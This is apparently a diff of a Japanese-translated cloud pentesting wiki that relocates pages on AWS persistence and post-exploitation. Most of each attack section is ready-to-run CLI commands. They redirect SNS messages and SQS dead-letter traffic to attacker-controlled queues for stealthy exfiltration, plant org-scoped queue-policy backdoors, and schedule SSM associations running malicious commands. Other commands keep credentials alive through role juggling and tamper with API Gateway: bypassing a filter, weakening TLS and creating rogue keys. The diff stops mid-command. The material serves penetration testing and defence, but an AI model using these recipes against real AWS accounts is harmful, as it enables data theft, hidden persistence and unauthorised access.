+```bash
+aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
+```
+
+- フィルタを MessageBody に対して動作させ、`secret=true` のみをマッチさせる:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
+```
+
+- オプション（ステルス）: RawMessageDelivery を有効にして、受信側に生のペイロードのみを届ける:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
+```
+
+- 検証: 2 件のメッセージを publish し、攻撃者キューに届くのが最初のメッセージのみであることを確認する。例のペイロード:
+
+```json
+{"secret":"true","data":"exfil"}
+{"secret":"false","data":"benign"}
+```
+
+- クリーンアップ: 永続化テストのために作成した場合は、サブスクリプションを解除し攻撃者の SQS キューを削除する。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md

@@ -1,37 +0,0 @@
-# AWS - SQS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### リソースポリシーの使用
-
-SQSでは、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することが可能です。\
-次のポリシーは、AWS内のすべての人に**MyTestQueue**というキュー内のすべてのアクセスを許可します：
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__owner_statement",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": ["SQS:*"],
-"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
-}
-]
-}
-```
-> [!NOTE]
-> 新しいメッセージがキューに追加されるたびに、**攻撃者のアカウントでLambdaをトリガーすることもできます**（再度追加する必要があります）。これについては、次の手順に従ってください: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md

@@ -0,0 +1,47 @@
+# AWS - SQS 永続化
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+詳細は次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### リソースポリシーの使用
+
+SQSでは、IAM policyで**誰が読み書きできるか**を指定する必要があります。外部アカウントやロールのARN、または**"*"**を指定することも可能です。\
+次のポリシーは、AWS内の全員に対して、**MyTestQueue**というキュー内のすべてへのアクセスを許可します:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__owner_statement",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": ["SQS:*"],
+"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
+}
+]
+}
+```
+> [!NOTE]
+> キューに新しいメッセージが投入されるたびに、**attacker's account 内の Lambda をトリガーすることもできます**（再度 re-put する必要があります）。これを行うには次の手順に従ってください: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+
+### その他の SQS 永続化テクニック
+
+{{#ref}}
+aws-sqs-dlq-backdoor-persistence.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-orgid-policy-backdoor.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md

@@ -0,0 +1,71 @@
+# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+SQS Dead-Letter Queues (DLQs) を悪用して、victim source queue の RedrivePolicy を attacker-controlled queue に向けることでデータを密かに siphon できます。maxReceiveCount を低く設定し、正常な処理失敗を誘発するか待つことで、メッセージは producers や Lambda event source mappings を変更せずに自動的に attacker DLQ に迂回されます。
+
+## 悪用される権限
+- sqs:SetQueueAttributes を victim source queue に対して (RedrivePolicy を設定するため)
+- sqs:SetQueueAttributes を attacker DLQ に対して (RedriveAllowPolicy を設定するため)
+- 高速化のためのオプション: sqs:ReceiveMessage を source queue に対して
+- セットアップのオプション: sqs:CreateQueue, sqs:SendMessage
+
+## 同一アカウントでのフロー (allowAll)
+
+準備 (attacker account or compromised principal):
+```bash
+REGION=us-east-1
+# 1) Create attacker DLQ
+ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
+ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Allow any same-account source queue to use this DLQ
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
+```
+実行（被害者アカウント内で、侵害されたプリンシパルとして実行）：
+```bash
+# 3) Point victim source queue to attacker DLQ with low retries
+VICTIM_SRC_URL=<victim source queue url>
+ATTACKER_DLQ_ARN=<attacker dlq arn>
+aws sqs set-queue-attributes \
+--queue-url "$VICTIM_SRC_URL" --region $REGION \
+--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
+```
+加速（任意）:
+```bash
+# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
+for i in {1..2}; do \
+aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
+--max-number-of-messages 10 --visibility-timeout 0; \
+done
+```
+検証:
+```bash
+# 5) Confirm messages appear in attacker DLQ
+aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--max-number-of-messages 10 --attribute-names All --message-attribute-names All
+```
+例の証拠（Attributes に DeadLetterQueueSourceArn が含まれる）:
+```json
+{
+"MessageId": "...",
+"Body": "...",
+"Attributes": {
+"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
+}
+}
+```
+## Cross-Account Variant (byQueue)
+攻撃者のDLQに対してRedriveAllowPolicyを設定し、特定の被害者のソースキューARNのみを許可する:
+```bash
+VICTIM_SRC_ARN=<victim source queue arn>
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
+```
+## 影響
+- 自動的に被害者の SQS ソースキューから失敗したメッセージを攻撃者が管理する DLQ に迂回させることで、最小限の運用ノイズかつ送信元や Lambda マッピングの変更は不要で、ステルス性が高く永続的な data exfiltration/persistence を実現します。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md

@@ -0,0 +1,38 @@
+# AWS - SQS OrgID Policy Backdoor
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+SQS キューのリソースポリシーを悪用して、条件 aws:PrincipalOrgID を使用し、ターゲットの AWS Organization に属する任意の principal に対して Send、Receive、ChangeMessageVisibility を静かに付与します。これにより、組織スコープの隠れた経路が作成され、明示的なアカウントや role ARNs、または star principals のみを検出するコントロールを回避することが多くなります。
+
+### Backdoor policy (attach to the SQS queue policy)
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "OrgScopedBackdoor",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"sqs:ReceiveMessage",
+"sqs:SendMessage",
+"sqs:ChangeMessageVisibility",
+"sqs:GetQueueAttributes"
+],
+"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
+"Condition": {
+"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
+}
+}
+]
+}
+```
+### 手順
+- AWS Organizations API を使って Organization ID を取得する。
+- SQS queue ARN を取得し、上記のステートメントを含む queue policy を設定する。
+- その Organization に属する任意の principal から、キューにメッセージを送信・受信してアクセスを検証する。
+
+### 影響
+- 指定した AWS Organization 内の任意のアカウントから SQS messages を読み書きできる、Organization 全体への隠れたアクセス。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md

@@ -1,27 +0,0 @@
-# AWS - SSM パーシステンス
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SSM
-
-詳細については、次を確認してください:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
-{{#endref}}
-
-### ssm:CreateAssociationを使用したパーシステンス
-
-**`ssm:CreateAssociation`** の権限を持つ攻撃者は、SSMによって管理されるEC2インスタンスでコマンドを自動的に実行するためのステートマネージャーアソシエーションを作成できます。これらのアソシエーションは、固定の間隔で実行されるように構成でき、インタラクティブなセッションなしでバックドアのようなパーシステンスに適しています。
-```bash
-aws ssm create-association \
---name SSM-Document-Name \
---targets Key=InstanceIds,Values=target-instance-id \
---parameters commands=["malicious-command"] \
---schedule-expression "rate(30 minutes)" \
---association-name association-name
-```
-> [!NOTE]
-> この永続化方法は、EC2インスタンスがSystems Managerによって管理されており、SSMエージェントが実行中で、攻撃者が関連付けを作成する権限を持っている限り機能します。インタラクティブセッションや明示的なssm:SendCommand権限は必要ありません。**重要:** `--schedule-expression`パラメータ（例: `rate(30 minutes)`）は、AWSの最小間隔である30分を尊重する必要があります。即時または一度きりの実行の場合は、`--schedule-expression`を完全に省略してください — 関連付けは作成後に一度実行されます。
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md

@@ -0,0 +1,27 @@
+# AWS - SSM 永続化
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SSM
+
+詳細は以下を参照してください：
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
+{{#endref}}
+
+### `ssm:CreateAssociation` を使用した永続化
+
+権限 **`ssm:CreateAssociation`** を持つ攻撃者は、State Manager Association を作成して、SSM によって管理されている EC2 インスタンス上でコマンドを自動実行できます。これらの Association は固定間隔で実行するように設定でき、対話型セッションを必要としないバックドア的な永続化に適しています。
+```bash
+aws ssm create-association \
+--name SSM-Document-Name \
+--targets Key=InstanceIds,Values=target-instance-id \
+--parameters commands=["malicious-command"] \
+--schedule-expression "rate(30 minutes)" \
+--association-name association-name
+```
+> [!NOTE]
+> この永続化手法は、EC2 インスタンスが Systems Manager によって管理されており、SSM エージェントが稼働していて、攻撃者に associations を作成する権限がある限り機能します。対話型セッションや明示的な ssm:SendCommand 権限は必要ありません。 **重要:** `--schedule-expression` パラメータ（例: `rate(30 minutes)`）は AWS の最小間隔 30 分を遵守する必要があります。即時または一度だけ実行する場合は、`--schedule-expression` を完全に省略してください — association は作成後に1回実行されます。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md

@@ -1,21 +0,0 @@
-# AWS - Step Functions Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### ステップ関数のバックドア
-
-ステップ関数にバックドアを仕掛けて、持続性のトリックを実行させることで、実行されるたびに悪意のあるステップを実行させることができます。
-
-### バックドアリングエイリアス
-
-AWSアカウントがステップ関数を呼び出すためにエイリアスを使用している場合、新しいバックドア付きのステップ関数を使用するようにエイリアスを変更することが可能です。
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md

@@ -0,0 +1,21 @@
+# AWS - Step Functions Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### Step function Backdooring
+
+Step function に Backdoor を仕込み、任意の persistence トリックを実行させることで、実行されるたびに攻撃者の悪意あるステップが実行されるようにします。
+
+### Backdooring aliases
+
+AWS アカウントが aliases を使用して step functions を呼び出している場合、alias を変更して step function の新しい backdoored バージョンを使用させることが可能です。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md

@@ -1,36 +1,36 @@
 # AWS - STS Persistence
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## STS
 
-詳細情報は以下にアクセスしてください：
+詳細は以下を参照：
 
 {{#ref}}
-../aws-services/aws-sts-enum.md
+../../aws-services/aws-sts-enum.md
 {{#endref}}
 
 ### Assume role token
 
-一時的なトークンはリストできないため、アクティブな一時トークンを維持することが持続性を保つ方法です。
+一時トークンは一覧表示できないため、アクティブな一時トークンを維持することが persistence を保つ一つの方法です。
 
 <pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
 
-# MFAを使用する場合
+# With MFA
 aws sts get-session-token \
 --serial-number <mfa-device-name> \
 --token-code <code-from-token>
 
-# ハードウェアデバイス名は通常、デバイスの背面にある番号、例えばGAHT12345678です
-<strong># SMSデバイス名はAWSのARN、例えばarn:aws:iam::123456789012:sms-mfa/usernameです
-</strong># 仮想デバイス名はAWSのARN、例えばarn:aws:iam::123456789012:mfa/usernameです
+# Hardware device name is usually the number from the back of the device, such as GAHT12345678
+<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
+</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
 </code></pre>
 
 ### Role Chain Juggling
 
-[**ロールチェイニングは認められたAWSの機能です**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining)が、しばしばステルス持続性を維持するために利用されます。これは、**あるロールを引き受け、その後別のロールを引き受ける**能力を含み、**循環的に**最初のロールに戻る可能性があります。ロールが引き受けられるたびに、資格情報の有効期限フィールドが更新されます。したがって、2つのロールが互いに引き受けるように設定されている場合、この設定は資格情報の永続的な更新を可能にします。
+[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining)、これはステルス的な persistence を維持するためにしばしば利用されます。これは、**assume a role which then assumes another** 機能を含み、場合によっては初期の role に **cyclical manner** で戻る可能性があります。role が assume されるたびに、credentials の有効期限フィールドが更新されます。したがって、2つの role が相互に assume できるように設定されている場合、その構成により credentials の永続的な更新が可能になります。
 
-この[**ツール**](https://github.com/hotnops/AWSRoleJuggler/)を使用してロールチェイニングを維持できます：
+role chaining を維持するために、この [**tool**](https://github.com/hotnops/AWSRoleJuggler/) を使用できます：
 ```bash
 ./aws_role_juggler.py -h
 usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
@@ -40,11 +40,11 @@ optional arguments:
 -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
 ```
 > [!CAUTION]
-> 注意してください、そのGitHubリポジトリの[find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py)スクリプトは、ロールチェーンが構成されるすべての方法を見つけるわけではありません。
+> その Github リポジトリにある [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) スクリプトは、role chain が構成されるすべての方法を検出するわけではないことに注意してください。
 
 <details>
 
-<summary>PowerShellからロールジャグリングを実行するためのコード</summary>
+<summary>PowerShellからRole Jugglingを実行するCode</summary>
 ```bash
 # PowerShell script to check for role juggling possibilities using AWS CLI
 
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
 ```
 </details>
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md

@@ -1,132 +0,0 @@
-# AWS - API Gateway Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## API Gateway
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-api-gateway-enum.md
-{{#endref}}
-
-### 未公開APIへのアクセス
-
-[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) でサービス `com.amazonaws.us-east-1.execute-api` を使用してエンドポイントを作成し、アクセス可能なネットワーク（EC2マシン経由の可能性あり）でエンドポイントを公開し、すべての接続を許可するセキュリティグループを割り当てます。\
-その後、EC2マシンからエンドポイントにアクセスできるようになり、以前は公開されていなかったゲートウェイAPIを呼び出すことができます。
-
-### リクエストボディのパススルーをバイパス
-
-この技術は[**このCTFの解説**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp)で見つかりました。
-
-[AWSのドキュメント](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html)の`PassthroughBehavior`セクションに示されているように、デフォルトでは、**`WHEN_NO_MATCH`**の値は、リクエストの**Content-Type**ヘッダーをチェックする際に、リクエストを変換せずにバックエンドに渡します。
-
-したがって、CTFではAPI Gatewayに統合テンプレートがあり、`Content-Type: application/json`でリクエストが送信されたときに**フラグが応答で流出するのを防いでいました**。
-```yaml
-RequestTemplates:
-application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
-```
-しかし、**`Content-type: text/json`**を持つリクエストを送信することで、そのフィルターを回避できます。
-
-最後に、API Gatewayは`Get`と`Options`のみを許可していたため、ボディにクエリを含むPOSTリクエストを送信し、ヘッダー`X-HTTP-Method-Override: GET`を使用することで、任意のdynamoDBクエリを制限なしに送信することが可能でした：
-```bash
-curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
-```
-### Usage Plans DoS
-
-**Enumeration** セクションでは、キーの **使用プラン** を **取得する方法** を確認できます。キーがあり、**月あたりの使用回数がX回に制限されている**場合、**それを使用してDoSを引き起こすことができます**。
-
-**API Key** は、**`x-api-key`** という **HTTPヘッダー** に **含める** 必要があります。
-
-### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
-
-`apigateway:UpdateGatewayResponse` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存のGateway Responseを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます**。
-```bash
-API_ID="your-api-id"
-RESPONSE_TYPE="DEFAULT_4XX"
-
-# Update the Gateway Response
-aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**潜在的な影響**: 機密情報の漏洩、悪意のあるスクリプトの実行、またはAPIリソースへの不正アクセス。
-
-> [!NOTE]
-> テストが必要
-
-### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
-
-`apigateway:UpdateStage`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**既存のAPI Gatewayステージを変更してトラフィックを別のステージにリダイレクトしたり、キャッシュ設定を変更してキャッシュデータへの不正アクセスを得ることができます**。
-```bash
-API_ID="your-api-id"
-STAGE_NAME="Prod"
-
-# Update the API Gateway stage
-aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**潜在的な影響**: キャッシュされたデータへの不正アクセス、APIトラフィックの中断または傍受。
-
-> [!NOTE]
-> テストが必要
-
-### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
-
-`apigateway:PutMethodResponse` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存のAPI Gateway REST APIメソッドのメソッドレスポンスを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます**。
-```bash
-API_ID="your-api-id"
-RESOURCE_ID="your-resource-id"
-HTTP_METHOD="GET"
-STATUS_CODE="200"
-
-# Update the method response
-aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**潜在的な影響**: 機密情報の漏洩、悪意のあるスクリプトの実行、またはAPIリソースへの不正アクセス。
-
-> [!NOTE]
-> テストが必要
-
-### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
-
-`apigateway:UpdateRestApi`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**API Gateway REST APIの設定を変更してログ記録を無効にしたり、最小TLSバージョンを変更したりすることができ、APIのセキュリティを弱める可能性があります**。
-```bash
-API_ID="your-api-id"
-
-# Update the REST API settings
-aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**潜在的な影響**: APIのセキュリティが弱まり、未承認のアクセスを許可したり、機密情報を露出させる可能性があります。
-
-> [!NOTE]
-> テストが必要です
-
-### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
-
-`apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan`、および`apigateway:CreateUsagePlanKey`の権限を持つ攻撃者は、**新しいAPIキーを作成し、それらを使用プランに関連付け、これらのキーを使用してAPIへの未承認のアクセスを行うことができます**。
-```bash
-# Create a new API key
-API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
-
-# Create a new usage plan
-USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
-
-# Associate the API key with the usage plan
-aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
-```
-**潜在的な影響**: APIリソースへの不正アクセス、セキュリティコントロールのバイパス。
-
-> [!NOTE]
-> テストが必要
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md

@@ -0,0 +1,132 @@
+# AWS - API Gateway Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## API Gateway
+
+詳細は次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-api-gateway-enum.md
+{{#endref}}
+
+### 未公開の API にアクセス
+
+[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) にサービス `com.amazonaws.us-east-1.execute-api` でエンドポイントを作成し、アクセス可能なネットワーク（場合によっては EC2 マシン経由）にエンドポイントを公開し、すべての接続を許可するセキュリティグループを割り当てることができます。\
+その後、EC2 マシンからエンドポイントにアクセスでき、これまで外部に公開されていなかった API Gateway を呼び出すことができます。
+
+### Bypass Request body passthrough
+
+This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
+
+As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
+
+したがって、CTF では API Gateway に統合テンプレートが設定されており、リクエストが `Content-Type: application/json` で送信された場合にレスポンス内で **preventing the flag from being exfiltrated** という挙動になっていました:
+```yaml
+RequestTemplates:
+application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
+```
+しかし、**`Content-type: text/json`** を送信するとそのフィルタを回避できた。
+
+最後に、API Gatewayが `Get` と `Options` のみを許可していたため、ボディにクエリを入れてPOSTリクエストを送信し、ヘッダ `X-HTTP-Method-Override: GET` を使用することで、任意のdynamoDBクエリを制限なく送信できた:
+```bash
+curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
+```
+### Usage Plans DoS
+
+この **Enumeration** セクションでは、キーの **usage plan を取得する** 方法が確認できます。キーを所持していて、1か月あたり X 回に **制限されている** 場合は、単にそのキーを使い続けて **DoS を引き起こす** ことが可能です。
+
+The **API Key** は **`x-api-key`** という **HTTP header** に **含める** だけで構いません。
+
+### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
+
+権限 `apigateway:UpdateGatewayResponse` と `apigateway:CreateDeployment` を持つ攻撃者は、**既存の Gateway Response を修正してカスタムヘッダやレスポンステンプレートを含め、機密情報を leak したり悪意あるスクリプトを実行させたりすることができます**。
+```bash
+API_ID="your-api-id"
+RESPONSE_TYPE="DEFAULT_4XX"
+
+# Update the Gateway Response
+aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Potential Impact**: 機密情報の漏洩、悪意のあるスクリプトの実行、または API リソースへの不正アクセス。
+
+> [!NOTE]
+> テストが必要
+
+### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
+
+`apigateway:UpdateStage` と `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存の API Gateway ステージを変更してトラフィックを別のステージにリダイレクトしたり、キャッシュ設定を変更してキャッシュされたデータへ不正にアクセスしたりすることができます**。
+```bash
+API_ID="your-api-id"
+STAGE_NAME="Prod"
+
+# Update the API Gateway stage
+aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**潜在的影響**: キャッシュされたデータへの不正アクセス、APIトラフィックの妨害や傍受。
+
+> [!NOTE]
+> 検証が必要です
+
+### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
+
+権限 `apigateway:PutMethodResponse` と `apigateway:CreateDeployment` を持つ攻撃者は、既存の API Gateway REST API メソッドのメソッドレスポンスを **カスタムヘッダーやレスポンステンプレートを含めるように変更し、機密情報を leak したり悪意のあるスクリプトを実行させたりすることができます**。
+```bash
+API_ID="your-api-id"
+RESOURCE_ID="your-resource-id"
+HTTP_METHOD="GET"
+STATUS_CODE="200"
+
+# Update the method response
+aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Potential Impact**: 敏感情報の漏洩、悪意のあるスクリプトの実行、または API リソースへの不正アクセス。
+
+> [!NOTE]
+> テストが必要
+
+### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
+
+`apigateway:UpdateRestApi` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**API Gateway REST API の設定を変更してログ記録を無効化したり、最小 TLS バージョンを変更したりして、API のセキュリティを弱体化させる可能性があります**。
+```bash
+API_ID="your-api-id"
+
+# Update the REST API settings
